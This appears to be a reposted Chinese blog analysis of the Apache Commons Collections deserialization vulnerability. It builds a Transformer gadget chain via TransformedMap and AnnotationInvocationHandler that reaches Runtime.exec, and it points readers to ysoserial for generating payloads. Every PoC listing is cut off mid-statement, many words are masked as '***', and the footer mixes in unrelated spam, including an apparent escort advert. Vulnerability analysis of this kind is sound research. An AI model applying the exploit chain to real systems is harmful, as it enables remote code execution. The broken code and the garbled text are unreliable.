Apache Commons Collections反序列化漏洞

访客3年前黑客资讯1145

一、简介

虽然网上已经有很多文章对这个组件的反序列化漏洞进行分析,但在这里还是记录一下。毕竟,这对Java反序列化漏洞的发展意义重大。

Apache Commons Collections是Java应用开发中一个非常常用的工具库,它添加了许多强大的数据结构,简化了Java应用程序的开发,已经成为Java处理 *** 数据的公认标准。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。

二、测试环境

jdk1.7.0_21 + commons-collections-3.1.jar

Apache Commons Collections组件历史版本下载地址:http://archive.apache.org/dist/commons/collections/binaries/,或者使用maven依赖:

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

在Java反序列化漏洞利用工具ysoserial(https://github.com/frohoff/ysoserial)中已经集成了该组件的漏洞利用payload;在渗透测试的时候,只需按照Java序列化数据的特征(以十六进制aced或者base64编码格式的rO0AB开头的数据)寻找Java反序列化的入口点,并根据Web应用猜测可能存在CommonsCollections组件,则可以直接使用ysoserial工具直接生成payload进行漏洞利用。

1616468572_60595a5c126ada08edef2.png!small?1616468573447

三、漏洞分析

这里分析利用Transformer接口以及实现该接口的几个类构造的代码执行漏洞利用链。

Transformer接口

Transformer接口的定义十分简单,只定义了一个transform() *** ,根据文档说明,该 *** 主要用于对象转换。实现该接口的类还是挺多的,这里主要利用以下3个实现类:ConstantTransformer、InvokerTransformer和ChainedTransformer。

package org.apache.commons.collections;

public interface Transformer {
    //对象转换
    public Object transform(Object input);
}

ChainedTransformer类

ChainedTransformer类定义了一个Transformer[]数组,并且在实现transform() *** 的时候通过依次遍历该数组元素,并调用数组元素对应的Transformer实现类的transform() *** ,将多个Transformer对象串起来。

public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer[] iTransformers;

    ...
        
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers=transformers;
    }

    public Object transform(Object object) {
        for (int i=0; i < iTransformers.length; i++) {
            object=iTransformers[i].transform(object);
        }
        return object;
    }

    ...
}

InvokerTransformer类

InvokerTransformer类的transform() *** 主要通过反射机制调用传入参数对象的某个 *** ,只需在构造InvokerTransformer对象的时候设置 *** 名、参数类型和参数值即可。

public class InvokerTransformer implements Transformer, Serializable {
    
    
    private final String iMethodName;
    
    private final Class[] iParamTypes;
    
    private final Object[] iArgs;

    ...

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName=methodName;
        iParamTypes=paramTypes;
        iArgs=args;
    }
    //简化后的transform() *** ,通过反射机制调用对象的 *** 
    public Object transform(Object input) {
        ...
        
        Class cls=input.getClass();
        Method method=cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
                
        ...  
    }
}

ConstantTransformer类

ConstantTransformer类十分简单,直接返回传入对象。

public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;

    ...

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant=constantToReturn;
    }
    
    public Object transform(Object input) {
        return iConstant;
    }

    ...
}

根据上述情况,我们的目标是构造Runtime.getRuntime().exec()代码执行。很明显,我们需要借助InvokerTransformer类中transform() *** 实现反射调用。如下所示,这里即是代码执行的源头:

package orz.vuln.poc;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
        //通过InvokeTransformer类反射调用Runtime代码
		InvokerTransformer invoker1=new InvokerTransformer("getMethod", 
				new Class[] {String.class, Class[].class}, 
				new Object[] 

更进一步,我们发现可以借助ChainedTransformer类中的transform() *** 代替invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))),即将上述多个InvokerTransformer对象初始化为Transformer[]数组,并且用Runtime.class初始化ConstantTransformer类对象,这样,就能构造出一条使用任意对象即可触发代码执行的Transformer调用链:

package orz.vuln.poc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers=new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] 

接下来,我们希望通过反序列化触发调用Transformer对象transform() *** ,达到代码执行的目的。

TransformedMap类

Apache Commons Collections中定义了一个TransformedMap类用来对Map进行某种变换,该类通过调用decorate() *** 进行实例化,如下所示:

1616468821_60595b555d036d9e3c4c7.png!small?1616468822697

并且在该类中还有个checkSetValue() *** ,在该 *** 中实现了调用Transformer对象的transform() *** ;根据该 *** 描述,checkSetValue() *** 将在setValue() *** 调用的时候被调用:

1616468837_60595b6577979e776b8ae.png!small?1616468838967

因此,我们的思路是通过利用Map对象和构造的恶意Transformer对象初始化TransformedMap对象,再调用setValue() *** 修改Map对象的值,代码如下:

package orz.vuln.poc;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		Transformer[] transformers=new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] 

继续寻找通过反序列化触发setValue() *** 执行的地方,最后在AnnotationInvocationHandler类的readObject() *** 中找到了。

AnnotationInvocationHandler类

AnnotationInvocationHandler类的readObject() *** 如下所示:

1616468892_60595b9c259baba55fe33.png!small?1616468893476

由于该类不提供公开的构造 *** 进行初始化,所以,我们通过反射调用该类的构造 *** ,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。这里有个判断条件需要满足才能最终执行entry.setValue() *** ,即

1616468908_60595bacd888676ae33b0.png!small?1616468910250

根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。

1616468932_60595bc4a121a555eca16.png!small?1616468934083

最终,完整漏洞利用代码如下:

package orz.vuln.poc;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class CommonsCollections {
	public static void main(String[] args) throws Exception {
		
		Transformer[] transformers=new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", 
						new Class[] {String.class, Class[].class},
						new Object[] 

参考链接

1、Lib之过?Java反序列化漏洞通用利用分析:https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

2、What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.:https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/

3、Marshalling Pickles:https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles

4、深入理解 JAVA 反序列化漏洞:https://paper.seebug.org/312/

5、Commons Collections Java反序列化漏洞深入分析:https://security.tencent.com/index.php/blog/msg/97

6、JAVA反序列化 - Commons-Collections组件:https://xz.aliyun.com/t/7031#toc-9

相关文章

美国黑客杀人电影大全(美国电影暗杀)

美国黑客杀人电影大全(美国电影暗杀)

本文目录一览: 1、求美国的灾难片和黑客电脑的电影! 2、推荐几部美国杀人电影。 3、有那些经典的关于黑客的电影 4、关于黑客的电影有哪些 ,多说点!! 5、欧美黑客题材的电影有哪些推...

13.7%,昆山外贸二季度实现正增长

昆山海关最新统计数据显示,今年二季度我市进出口总值同比增长13.7%,环比一季度增长36.3%。6月份,我市进出口总值同比增长7.3%,较全省增幅宽5.7个百分点。 根据统计,上半年我市实现进出口总...

福地佑介(福地祐介微博)

  亲,在影片里叫作良太. 真名叫福地佑介(Fukuchi Yusuke) 固然这位男主角乍一看真的超像菊叔(兰兰日本的建造人) 但他真的不是菊叔的弟弟菊池良太啊~~~>   顶级杀手隐姓埋名...

商洛伴游女-【钱筠】

“商洛伴游女-【钱筠】” 1:只要交付了定金就可以直接快速的为您安排服务了!相信您能够理解和支持!99426877一:找真实的模特经纪人预约自由时间:周未 襄樊外模免费看图预约微博地址:...

鹅卵石的形成(火星上的鹅卵石是怎么形成的)

鹅卵石的形成(火星上的鹅卵石是怎么形成的)

鹅卵石的形成(火星上的鹅卵石是怎么形成的)其实火星上的鹅卵石只是从另一个角度上证明了火星上曾经有水!早在2013年6月“机遇号”就发现了名为“埃斯佩兰斯”...

囫囵吞枣是什么意思?勿囫囵吞枣的意思

囫囵吞枣是什么意思?勿囫囵吞枣的意思

【囫囵吞枣】     从前,有个人到别人家去做客。这家主人很好客,非常热情地接待了他,还到园子里摘下许多新鲜的梨和大枣让他吃。 黄灿灿的梨,红红的枣儿,真馋人。年轻人二话没说,拿起梨就吃。...